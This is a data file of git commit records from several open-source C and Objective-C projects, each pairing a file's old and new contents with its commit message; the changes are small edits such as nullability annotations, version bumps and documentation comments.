{"commit":"0fda9e25449c322478d38e3b6ce6f3613d66fa68","old_file":"ETA-SDK\/API\/Model\/ETA_ModelObject.h","new_file":"ETA-SDK\/API\/Model\/ETA_ModelObject.h","old_contents":"\/\/\n\/\/  ETA_ModelObject.h\n\/\/  ETA-SDK\n\/\/\n\/\/  Created by Laurie Hufford on 7\/11\/13.\n\/\/  Copyright (c) 2013 eTilbudsavis. All rights reserved.\n\/\/\n\n#import \"Mantle.h\"\n\n#import \"NSValueTransformer+ETAPredefinedValueTransformers.h\"\n\n@interface ETA_ModelObject : MTLModel <MTLJSONSerializing>\n\n\/\/ setting either uuid or ern will keep the other updated\n@property (nonatomic, readwrite, strong) NSString* uuid; \/\/ will always be lowercase, no matter the input case \n@property (nonatomic, readwrite, strong) NSString* ern;\n\n\n+ (NSString*) APIEndpoint; \/\/ base class returns nil.\n+ (NSString*) ernForItemID:(NSString*)itemID; \/\/uses the API Endpoint to generate the ern\n\n+ (instancetype) objectFromJSONDictionary:(NSDictionary*)JSONDictionary;\n- (NSDictionary*) JSONDictionary;\n\n+ (NSArray*) objectsFromJSONArray:(NSArray*)JSONArray;\n\n@end\n","new_contents":"\/\/\n\/\/  ETA_ModelObject.h\n\/\/  ETA-SDK\n\/\/\n\/\/  Created by Laurie Hufford on 7\/11\/13.\n\/\/  Copyright (c) 2013 eTilbudsavis. All rights reserved.\n\/\/\n\n#import \"Mantle.h\"\n\n#import \"NSValueTransformer+ETAPredefinedValueTransformers.h\"\n\n@interface ETA_ModelObject : MTLModel <MTLJSONSerializing>\n\n\/\/ setting either uuid or ern will keep the other updated\n@property (nonatomic, readwrite, strong, nonnull) NSString* uuid; \/\/ will always be lowercase, no matter the input case\n@property (nonatomic, readwrite, strong, nonnull) NSString* ern;\n\n\n+ (nullable NSString*) APIEndpoint; \/\/ base class returns nil.\n+ (nullable NSString*) ernForItemID:(nullable NSString*)itemID; \/\/uses the API Endpoint to generate the ern\n\n+ (nullable instancetype) objectFromJSONDictionary:(nullable NSDictionary*)JSONDictionary;\n- (nullable NSDictionary*) JSONDictionary;\n\n+ (nullable NSArray*) objectsFromJSONArray:(nullable NSArray*)JSONArray;\n\n@end\n","subject":"Add nullability info to root ModelObject","message":"Add nullability info to root ModelObject\n","lang":"C","license":"mit","repos":"shopgun\/shopgun-ios-sdk,shopgun\/shopgun-ios-sdk,eTilbudsavis\/native-ios-eta-sdk"}
{"commit":"dd9603957944e85b3caa6c31fb4bf5cf39af59c5","old_file":"bibdesk\/BDSKOAIGroupServer.h","new_file":"bibdesk\/BDSKOAIGroupServer.h","old_contents":"","new_contents":"\/\/\n\/\/  BDSKOAIGroupServer.h\n\/\/  Bibdesk\n\/\/\n\/\/  Created by Christiaan Hofman on 1\/1\/07.\n\/\/  Copyright 2007 __MyCompanyName__. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import \"BDSKSearchGroup.h\"\n\n@class BDSKServerInfo;\n\n@interface BDSKOAIGroupServer : NSObject <BDSKSearchGroupServer>\n{\n    BDSKSearchGroup *group;\n    BDSKServerInfo *serverInfo;\n    NSString *searchTerm;\n    NSString *resumptionToken;\n    NSArray *sets;\n    NSString *filePath;\n    NSURLDownload *URLDownload;\n    BOOL failedDownload;\n    BOOL isRetrieving;\n    BOOL needsReset;\n    int availableResults;\n    int fetchedResults;\n}\n- (void)setServerInfo:(BDSKServerInfo *)info;\n- (BDSKServerInfo *)serverInfo;\n- (void)setSearchTerm:(NSString *)string;\n- (NSString *)searchTerm;\n- (void)setSets:(NSArray *)newSets;\n- (NSArray *)sets;\n- (void)setResumptionToken:(NSString *)newResumptionToken;\n- (NSString *)resumptionToken;\n- (void)resetSearch;\n- (void)fetchSets;\n- (void)fetch;\n- (void)startDownloadFromURL:(NSURL *)theURL;\n\n@end\n","subject":"Add new header file. (or: xcode is stupid)","message":"Add new header file. (or: xcode is stupid)\n\ngit-svn-id: cb3fc60f0f557b927b8032d8a94e869b6f9f230b@336 0fceea05-a30d-0410-8a8b-80ef821fb0a1\n","lang":"C","license":"bsd-3-clause","repos":"jasongrout\/skim,camillobruni\/skim,camillobruni\/skim,camillobruni\/skim,jasongrout\/skim,camillobruni\/skim"}
{"commit":"a776e39416cc4580b5a1688c3e44258888955996","old_file":"drivers\/scsi\/qla2xxx\/qla_version.h","new_file":"drivers\/scsi\/qla2xxx\/qla_version.h","old_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2014 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.07.00.16-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t7\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","new_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2014 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.07.00.18-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t7\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","subject":"Update driver version to 8.07.00.18-k","message":"qla2xxx: Update driver version to 8.07.00.18-k\n\nSigned-off-by: Giridhar Malavali <799b6491fce2c7a80b5fedcf9a728560cc9eb954@qlogic.com>\nSigned-off-by: Himanshu Madhani <a1599b7f51f3890722b2125e7c07879c181c9399@qlogic.com>\nReviewed-by: Hannes Reinecke <b0d1e9e4a4e27620745ff49be9000da3174a4cc6@suse.de>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Odin.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"6db46e880792b7133aa6f55c2b90eaa430312ae2","old_file":"REMarkerClustererExample\/REMarkerClustererExample\/DemoViewController.h","new_file":"REMarkerClustererExample\/REMarkerClustererExample\/DemoViewController.h","old_contents":"\/\/\n\/\/  DemoViewController.h\n\/\/  REMarkerClustererExample\n\/\/\n\/\/  Created by Roman Efimov on 7\/9\/12.\n\/\/  Copyright (c) 2012 Roman Efimov. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"REMarkerClusterer.h\"\n\n@interface DemoViewController : UIViewController <MKMapViewDelegate>\n\n@property (strong, readonly, nonatomic) MKMapView *mapView;\n@property (strong, readonly, nonatomic) REMarkerClusterer *clusterer;\n\n@end\n","new_contents":"\/\/\n\/\/  DemoViewController.h\n\/\/  REMarkerClustererExample\n\/\/\n\/\/  Created by Roman Efimov on 7\/9\/12.\n\/\/  Copyright (c) 2012 Roman Efimov. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"REMarkerClusterer.h\"\n\n@interface DemoViewController : UIViewController <REMarkerClusterDelegate>\n\n@property (strong, readonly, nonatomic) MKMapView *mapView;\n@property (strong, readonly, nonatomic) REMarkerClusterer *clusterer;\n\n@end\n","subject":"Rename delegate from MKMapViewDelegate to REMarkerClusterDelegate","message":"Rename delegate from MKMapViewDelegate to REMarkerClusterDelegate\n","lang":"C","license":"mit","repos":"romaonthego\/REMarkerClusterer,sophallyyi\/REMarkerClusterer,takeshineshiro\/REMarkerClusterer"}
{"commit":"c0fdd6bb7488ab9ea1ba2ae326e7e42072d6dc33","old_file":"sdk\/iOS\/src\/WindowsAzureMobileServices.h","new_file":"sdk\/iOS\/src\/WindowsAzureMobileServices.h","old_contents":"\/\/ ----------------------------------------------------------------------------\n\/\/ Copyright (c) Microsoft Corporation. All rights reserved.\n\/\/ ----------------------------------------------------------------------------\n\n#ifndef WindowsAzureMobileServices_WindowsAzureMobileServices_h\n#define WindowsAzureMobileServices_WindowsAzureMobileServices_h\n\n#import \"MSClient.h\"\n#import \"MSTable.h\"\n#import \"MSQuery.h\"\n#import \"MSUser.h\"\n#import \"MSFilter.h\"\n#import \"MSError.h\"\n#import \"MSLoginController.h\"\n#import \"MSPush.h\"\n\n#define WindowsAzureMobileServicesSdkMajorVersion 1\n#define WindowsAzureMobileServicesSdkMinorVersion 1\n#define WindowsAzureMobileServicesSdkBuildVersion 0\n\n#endif\n","new_contents":"\/\/ ----------------------------------------------------------------------------\n\/\/ Copyright (c) Microsoft Corporation. All rights reserved.\n\/\/ ----------------------------------------------------------------------------\n\n#ifndef WindowsAzureMobileServices_WindowsAzureMobileServices_h\n#define WindowsAzureMobileServices_WindowsAzureMobileServices_h\n\n#import \"MSClient.h\"\n#import \"MSTable.h\"\n#import \"MSQuery.h\"\n#import \"MSUser.h\"\n#import \"MSFilter.h\"\n#import \"MSError.h\"\n#import \"MSLoginController.h\"\n#import \"MSPush.h\"\n\n#define WindowsAzureMobileServicesSdkMajorVersion 1\n#define WindowsAzureMobileServicesSdkMinorVersion 2\n#define WindowsAzureMobileServicesSdkBuildVersion 0\n\n#endif\n","subject":"Update iOS SDK Minor Version","message":"Update iOS SDK Minor Version","lang":"C","license":"apache-2.0","repos":"cmatskas\/azure-mobile-services,jeremy50dj\/azure-mobile-services,phvannor\/azure-mobile-services,daemun\/azure-mobile-services,mauricionr\/azure-mobile-services,intellitour\/azure-mobile-services,Azure\/azure-mobile-services,gb92\/azure-mobile-services,marianosz\/azure-mobile-services,Azure\/azure-mobile-services,Redth\/azure-mobile-services,Redth\/azure-mobile-services,marianosz\/azure-mobile-services,cmatskas\/azure-mobile-services,Redth\/azure-mobile-services,apuyana\/azure-mobile-services,Reminouche\/azure-mobile-services,pragnagopa\/azure-mobile-services,soninaren\/azure-mobile-services,paulbatum\/azure-mobile-services,mauricionr\/azure-mobile-services,phvannor\/azure-mobile-services,Reminouche\/azure-mobile-services,yuqiqian\/azure-mobile-services,Redth\/azure-mobile-services,intellitour\/azure-mobile-services,soninaren\/azure-mobile-services,daemun\/azure-mobile-services,jeremy50dj\/azure-mobile-services,pragnagopa\/azure-mobile-services,shrishrirang\/azure-mobile-services,ysxu\/azure-mobile-services,dcristoloveanu\/azure-mobile-services,apuyana\/azure-mobile-services,marianosz\/azure-mobile-services,soninaren\/azure-mobile-services,jeremy50dj\/azure-mobile-services,ysxu\/azure-mobile-services,paulbatum\/azure-mobile-services,paulbatum\/azure-mobile-services,apuyana\/azure-mobile-services,cmatskas\/azure-mobile-services,mauricionr\/azure-mobile-services,daemun\/azure-mobile-services,intellitour\/azure-mobile-services,Azure\/azure-mobile-services,YOTOV-LIMITED\/azure-mobile-services,jeremy50dj\/azure-mobile-services,baumatron\/azure-mobile-services-baumatron,fabiocav\/azure-mobile-services,YOTOV-LIMITED\/azure-mobile-services,mauricionr\/azure-mobile-services,soninaren\/azure-mobile-services,mauricionr\/azure-mobile-services,marianosz\/azure-mobile-services,marianosz\/azure-mobile-services,Redth\/azure-mobile-services,baumatron\/azure-mobile-services-baumatron,phvannor\/azure-mobile-services,ysxu\/azure-mobile-services,intellitour\/azure-mobile-services,shrishrirang\/azure-mobile-services,ysxu\/azure-mobile-services,erichedstrom\/azure-mobile-services,baumatron\/azure-mobile-services-baumatron,daemun\/azure-mobile-services,erichedstrom\/azure-mobile-services,Reminouche\/azure-mobile-services,fabiocav\/azure-mobile-services,dhei\/azure-mobile-services,dhei\/azure-mobile-services,ysxu\/azure-mobile-services,dcristoloveanu\/azure-mobile-services,cmatskas\/azure-mobile-services,fabiocav\/azure-mobile-services,fabiocav\/azure-mobile-services,Azure\/azure-mobile-services,gb92\/azure-mobile-services,daemun\/azure-mobile-services,baumatron\/azure-mobile-services-baumatron,erichedstrom\/azure-mobile-services,baumatron\/azure-mobile-services-baumatron,dhei\/azure-mobile-services,cmatskas\/azure-mobile-services,YOTOV-LIMITED\/azure-mobile-services,dcristoloveanu\/azure-mobile-services,yuqiqian\/azure-mobile-services,yuqiqian\/azure-mobile-services,Reminouche\/azure-mobile-services,YOTOV-LIMITED\/azure-mobile-services,fabiocav\/azure-mobile-services,baumatron\/azure-mobile-services-baumatron,soninaren\/azure-mobile-services,apuyana\/azure-mobile-services,intellitour\/azure-mobile-services,Redth\/azure-mobile-services,dcristoloveanu\/azure-mobile-services,pragnagopa\/azure-mobile-services,baumatron\/azure-mobile-services-baumatron,pragnagopa\/azure-mobile-services,apuyana\/azure-mobile-services,Reminouche\/azure-mobile-services,paulbatum\/azure-mobile-services,daemun\/azure-mobile-services,intellitour\/azure-mobile-services,fabiocav\/azure-mobile-services,marianosz\/azure-mobile-services,shrishrirang\/azure-mobile-services,Reminouche\/azure-mobile-services,pragnagopa\/azure-mobile-services,gb92\/azure-mobile-services,gb92\/azure-mobile-services,cmatskas\/azure-mobile-services,shrishrirang\/azure-mobile-services,gb92\/azure-mobile-services,ysxu\/azure-mobile-services,phvannor\/azure-mobile-services,erichedstrom\/azure-mobile-services,jeremy50dj\/azure-mobile-services,soninaren\/azure-mobile-services,phvannor\/azure-mobile-services,shrishrirang\/azure-mobile-services,Azure\/azure-mobile-services,YOTOV-LIMITED\/azure-mobile-services,shrishrirang\/azure-mobile-services,phvannor\/azure-mobile-services,pragnagopa\/azure-mobile-services,dcristoloveanu\/azure-mobile-services,yuqiqian\/azure-mobile-services,erichedstrom\/azure-mobile-services,erichedstrom\/azure-mobile-services,yuqiqian\/azure-mobile-services,yuqiqian\/azure-mobile-services,gb92\/azure-mobile-services,apuyana\/azure-mobile-services,YOTOV-LIMITED\/azure-mobile-services,paulbatum\/azure-mobile-services,daemun\/azure-mobile-services,jeremy50dj\/azure-mobile-services,dhei\/azure-mobile-services,paulbatum\/azure-mobile-services,cmatskas\/azure-mobile-services,dcristoloveanu\/azure-mobile-services,Azure\/azure-mobile-services,dhei\/azure-mobile-services,mauricionr\/azure-mobile-services,marianosz\/azure-mobile-services"}
{"commit":"97c8ae2e5624cdd8576a9acc9b70a9cb7cb47927","old_file":"tests\/strings_test.c","new_file":"tests\/strings_test.c","old_contents":"#include <stdio.h>\n#include <stdlib.h> \/* for free *\/\n#include <string.h> \/* for strcmp *\/\n#include <strings.h>\n\n#include <platform\/cbassert.h>\n\nstatic void test_asprintf(void) {\n    char *result = 0;\n    (void)asprintf(&result, \"test 1\");\n    cb_assert(strcmp(result, \"test 1\") == 0);\n    free(result);\n\n    (void)asprintf(&result, \"test %d\", 2);\n    cb_assert(strcmp(result, \"test 2\") == 0);\n    free(result);\n\n    (void)asprintf(&result, \"%c%c%c%c %d\", 't', 'e', 's', 't', 3);\n    cb_assert(strcmp(result, \"test 3\") == 0);\n    free(result);\n}\n\nint main(void) {\n    test_asprintf();\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h> \/* for free *\/\n#include <string.h> \/* for strcmp *\/\n#include <strings.h>\n\n#include <platform\/cbassert.h>\n\nstatic void test_asprintf(void) {\n    char *result = 0;\n    cb_assert(asprintf(&result, \"test 1\") > 0);\n    cb_assert(strcmp(result, \"test 1\") == 0);\n    free(result);\n\n    cb_assert(asprintf(&result, \"test %d\", 2) > 0);\n    cb_assert(strcmp(result, \"test 2\") == 0);\n    free(result);\n\n    cb_assert(asprintf(&result, \"%c%c%c%c %d\", 't', 'e', 's', 't', 3) > 0);\n    cb_assert(strcmp(result, \"test 3\") == 0);\n    free(result);\n}\n\nint main(void) {\n    test_asprintf();\n    return 0;\n}\n","subject":"Check for return value for asprintf","message":"Check for return value for asprintf\n\nChange-Id: Ib163468aac1a5e52cef28c59b55be2287dc4ba43\nReviewed-on: http:\/\/review.couchbase.org\/43023\nReviewed-by: Trond Norbye <60edd2ef23891a753f231b0c6f161dc634079a93@gmail.com>\nTested-by: Trond Norbye <60edd2ef23891a753f231b0c6f161dc634079a93@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"vmx\/platform,vmx\/platform"}
{"commit":"078841c923075f545c8933b7e957e3f8d5ca26e2","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       8\n#define CLIENT_VERSION_REVISION    8\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2021\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       8\n#define CLIENT_VERSION_REVISION    9\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2021\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Mark Devcoin release version 0.8.9.0.","message":"Mark Devcoin release version 0.8.9.0.\n","lang":"C","license":"mit","repos":"coinzen\/devcoin,coinzen\/devcoin,coinzen\/devcoin,coinzen\/devcoin,coinzen\/devcoin,coinzen\/devcoin,coinzen\/devcoin,coinzen\/devcoin"}
{"commit":"656ff74c7d951712cba7d032c2d0a4d5119aa952","old_file":"src\/lib\/mac\/mac.h","new_file":"src\/lib\/mac\/mac.h","old_contents":"\/*\n* Base class for message authentiction codes\n* (C) 1999-2007 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#ifndef BOTAN_MESSAGE_AUTH_CODE_BASE_H__\n#define BOTAN_MESSAGE_AUTH_CODE_BASE_H__\n\n#include <botan\/buf_comp.h>\n#include <botan\/sym_algo.h>\n#include <botan\/scan_name.h>\n#include <string>\n\nnamespace Botan {\n\n\/**\n* This class represents Message Authentication Code (MAC) objects.\n*\/\nclass BOTAN_DLL MessageAuthenticationCode : public Buffered_Computation,\n                                            public SymmetricAlgorithm\n   {\n   public:\n      \/**\n      * Verify a MAC.\n      * @param in the MAC to verify as a byte array\n      * @param length the length of param in\n      * @return true if the MAC is valid, false otherwise\n      *\/\n      virtual bool verify_mac(const byte in[], size_t length);\n\n      \/**\n      * Get a new object representing the same algorithm as *this\n      *\/\n      virtual MessageAuthenticationCode* clone() const = 0;\n\n      \/**\n      * Get the name of this algorithm.\n      * @return name of this algorithm\n      *\/\n      virtual std::string name() const = 0;\n\n      typedef SCAN_Name Spec;\n   };\n\n}\n\n#endif\n","new_contents":"\/*\n* Base class for message authentiction codes\n* (C) 1999-2007 Jack Lloyd\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#ifndef BOTAN_MESSAGE_AUTH_CODE_BASE_H__\n#define BOTAN_MESSAGE_AUTH_CODE_BASE_H__\n\n#include <botan\/buf_comp.h>\n#include <botan\/sym_algo.h>\n#include <botan\/scan_name.h>\n#include <string>\n\nnamespace Botan {\n\n\/**\n* This class represents Message Authentication Code (MAC) objects.\n*\/\nclass BOTAN_DLL MessageAuthenticationCode : public Buffered_Computation,\n                                            public SymmetricAlgorithm\n   {\n   public:\n      \/**\n      * Verify a MAC.\n      * @param in the MAC to verify as a byte array\n      * @param length the length of param in\n      * @return true if the MAC is valid, false otherwise\n      *\/\n      virtual bool verify_mac(const byte in[], size_t length);\n\n      \/**\n      * Get a new object representing the same algorithm as *this\n      *\/\n      virtual MessageAuthenticationCode* clone() const = 0;\n\n      typedef SCAN_Name Spec;\n   };\n\n}\n\n#endif\n","subject":"Remove duplicate definition of MessageAuthenticationCode::name()","message":"Remove duplicate definition of MessageAuthenticationCode::name()\n\nThe original definition is in the base class SymmetricAlgorithm.\n","lang":"C","license":"bsd-2-clause","repos":"randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,randombit\/botan,webmaster128\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan"}
{"commit":"87abaffc4ee3c5a694657821e55d66f7520e66cd","old_file":"src\/shake.h","new_file":"src\/shake.h","old_contents":"#ifndef _SHAKE_H_\n#define _SHAKE_H_\n\n#include \"shake_private.h\"\n\nstruct shakeDev;\n\n\/* libShake functions *\/\nint shakeInit();\nvoid shakeQuit();\nvoid shakeListDevices();\nint shakeNumOfDevices();\nshakeDev *shakeOpen(unsigned int id);\nvoid shakeClose(shakeDev *dev);\nint shakeQuery(shakeDev *dev);\nvoid shakeSetGain(shakeDev *dev, int gain);\nvoid shakeInitEffect(shakeEffect *effect, shakeEffectType type);\nint shakeUploadEffect(shakeDev *dev, shakeEffect effect);\nvoid shakeEraseEffect(shakeDev *dev, int id);\nvoid shakePlay(shakeDev *dev, int id);\nvoid shakeStop(shakeDev *dev, int id);\n\n#endif \/* _SHAKE_H_ *\/\n","new_contents":"#ifndef _SHAKE_H_\n#define _SHAKE_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"shake_private.h\"\n\nstruct shakeDev;\n\n\/* libShake functions *\/\nint shakeInit();\nvoid shakeQuit();\nvoid shakeListDevices();\nint shakeNumOfDevices();\nshakeDev *shakeOpen(unsigned int id);\nvoid shakeClose(shakeDev *dev);\nint shakeQuery(shakeDev *dev);\nvoid shakeSetGain(shakeDev *dev, int gain);\nvoid shakeInitEffect(shakeEffect *effect, shakeEffectType type);\nint shakeUploadEffect(shakeDev *dev, shakeEffect effect);\nvoid shakeEraseEffect(shakeDev *dev, int id);\nvoid shakePlay(shakeDev *dev, int id);\nvoid shakeStop(shakeDev *dev, int id);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* _SHAKE_H_ *\/\n","subject":"Use C calling convention when header is included by C++ code","message":"Use C calling convention when header is included by C++ code\n","lang":"C","license":"mit","repos":"zear\/libShake,ShadowApex\/libShake,ShadowApex\/libShake,zear\/libShake"}
{"commit":"1fe9573e58a5a3a49edb9dc051532ac98d7d36f4","old_file":"ADAL.c","new_file":"ADAL.c","old_contents":"#! \/usr\/bin\/tcc -run\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n\ntypedef struct slot\n{\n    ssize_t size;\n    char *row;\n}   slot;\n\n    slot line;\n    slot *text;\n\n    char *ptr;\n\nint main(void) {\n\n    ptr = \"this is my story\";\n\n    line.row = ptr;\n    line.size = strlen(ptr);\n\n    text = malloc(10*sizeof(slot));\n    \n    text[0] = line;\n    printf(\"text[0].row = %s\\n\",text[0].row);\n\n    ptr = \"this is my song\";\n    line.row = ptr;\n    line.size = strlen(ptr);\n\n    text[1] = line;\n    printf(\"text[1].row = %s\\n\",text[1].row);\n    printf(\"text[0].row = %s\\n\",text[0].row);\n \n    ptr = \"tell me your song\";\n    line.row = ptr;\n    line.size = strlen(ptr);\n\n    text[3] = line;\n    printf(\"text[3].row = %s\\n\",text[3].row);\n\n    return 0;\n}\n\n","new_contents":"#! \/usr\/bin\/tcc -run\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n\ntypedef struct slot\n{\n    ssize_t size;\n    char *row;\n}   slot;\n\n    slot line;\n    slot *text;\n    slot *old;\n    slot *new;\n\n    char *ptr;\n\nint main(void) {\n\n    text = malloc(10*sizeof(slot));\n    old  = malloc(10*sizeof(slot));\n    new  = malloc(10*sizeof(slot));\n   \n    ptr = \"this is my story\";\n    line.row = ptr;\n    line.size = strlen(ptr);\n    text[0] = line;\n\n\n    ptr = \"this is my song\";\n    line.row = ptr;\n    line.size = strlen(ptr);\n    text[1] = line;\n  \n \n    ptr = \"tell me your song\";\n    line.row = ptr;\n    line.size = strlen(ptr);\n    text[3] = line;\n\n    printf(\"text[3].row = %s\\n\",text[3].row);\n\n    old = text;\n    \n    int j;\n\n    for (j = 0; j < 10; j++) {old[j] = text[j];}\n    printf(\"old[1].row = %s\\n\",old[1].row);\n    printf(\"old[3].row = %s\\n\",old[3].row);\n\n    slot newline;\n    ptr = \"hello world\";\n    newline.row = ptr;\n    newline.size = strlen(ptr);\n\n    for (j = 0; j < 10; j++) \n      {if (j != 3) {old[j] = text[j];}\n       else        {old[j] = newline;}\n      }\n    printf(\"\\n\");\n    printf(\"old[3].row = %s\\n\",old[3].row);\n    printf(\"old[1].row = %s\\n\",old[1].row);\n\n\n\n    return 0;\n}\n\n","subject":"Add replacement functionality following initialization segment","message":"Add replacement functionality following initialization segment\n","lang":"C","license":"bsd-2-clause","repos":"eingaeph\/pip.imbue.hood,eingaeph\/pip.imbue.hood"}
{"commit":"8666971da6aad40e2a668c4ce10fc44368f53702","old_file":"src\/chemkit\/point3.h","new_file":"src\/chemkit\/point3.h","old_contents":"\/******************************************************************************\n**\n** Copyright (C) 2009-2011 Kyle Lutz <kyle.r.lutz@gmail.com>\n**\n** This file is part of chemkit. For more information see\n** <http:\/\/www.chemkit.org>.\n**\n** chemkit is free software: you can redistribute it and\/or modify\n** it under the terms of the GNU Lesser General Public License as published by\n** the Free Software Foundation, either version 3 of the License, or\n** (at your option) any later version.\n**\n** chemkit is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n** GNU Lesser General Public License for more details.\n**\n** You should have received a copy of the GNU Lesser General Public License\n** along with chemkit. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n**\n******************************************************************************\/\n\n#ifndef CHEMKIT_POINT3_H\n#define CHEMKIT_POINT3_H\n\n#include \"chemkit.h\"\n\n#include \"genericpoint.h\"\n\nnamespace chemkit {\n\n\/\/\/ A three-dimensional point.\ntypedef GenericPoint<Float> Point3;\n\ntypedef GenericPoint<float> Point3f;\ntypedef GenericPoint<double> Point3d;\n\n} \/\/ end chemkit namespace\n\n#endif \/\/ CHEMKIT_POINT3_H\n","new_contents":"\/******************************************************************************\n**\n** Copyright (C) 2009-2011 Kyle Lutz <kyle.r.lutz@gmail.com>\n**\n** This file is part of chemkit. For more information see\n** <http:\/\/www.chemkit.org>.\n**\n** chemkit is free software: you can redistribute it and\/or modify\n** it under the terms of the GNU Lesser General Public License as published by\n** the Free Software Foundation, either version 3 of the License, or\n** (at your option) any later version.\n**\n** chemkit is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n** GNU Lesser General Public License for more details.\n**\n** You should have received a copy of the GNU Lesser General Public License\n** along with chemkit. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n**\n******************************************************************************\/\n\n#ifndef CHEMKIT_POINT3_H\n#define CHEMKIT_POINT3_H\n\n#include \"chemkit.h\"\n\n#include \"genericpoint.h\"\n\nnamespace chemkit {\n\n\/\/\/ A three-dimensional point.\ntypedef GenericPoint<Float> Point3;\n\n\/\/\/ A three-dimensional point containing \\c float values.\ntypedef GenericPoint<float> Point3f;\n\n\/\/\/ A three-dimensional point containing \\c double values.\ntypedef GenericPoint<double> Point3d;\n\n} \/\/ end chemkit namespace\n\n#endif \/\/ CHEMKIT_POINT3_H\n","subject":"Add documentation to Point3 typedefs","message":"Add documentation to Point3 typedefs\n\nThis adds documentation for the Point3f and Point3d\ntypedefs.\n","lang":"C","license":"bsd-3-clause","repos":"kylelutz\/chemkit,kylelutz\/chemkit,kylelutz\/chemkit,kylelutz\/chemkit"}
{"commit":"b654d10d3289c45b1fb702378bd4b96afb11c998","old_file":"libpthread\/nptl\/sysdeps\/unix\/sysv\/linux\/or1k\/createthread.c","new_file":"libpthread\/nptl\/sysdeps\/unix\/sysv\/linux\/or1k\/createthread.c","old_contents":"\/* Copyright (C) 2012 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   The GNU C Library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with the GNU C Library; see the file COPYING.LIB.  If\n   not, see <http:\/\/www.gnu.org\/licenses\/>.  *\/\n\n\/* Value passed to 'clone' for initialization of the thread register.  *\/\n#define TLS_VALUE (pd + 1)\n\n\n\/* Get the real implementation.  *\/\n#include <sysdeps\/pthread\/createthread.c>\n","new_contents":"\/* Copyright (C) 2012 Free Software Foundation, Inc.\n   This file is part of the GNU C Library.\n\n   The GNU C Library is free software; you can redistribute it and\/or\n 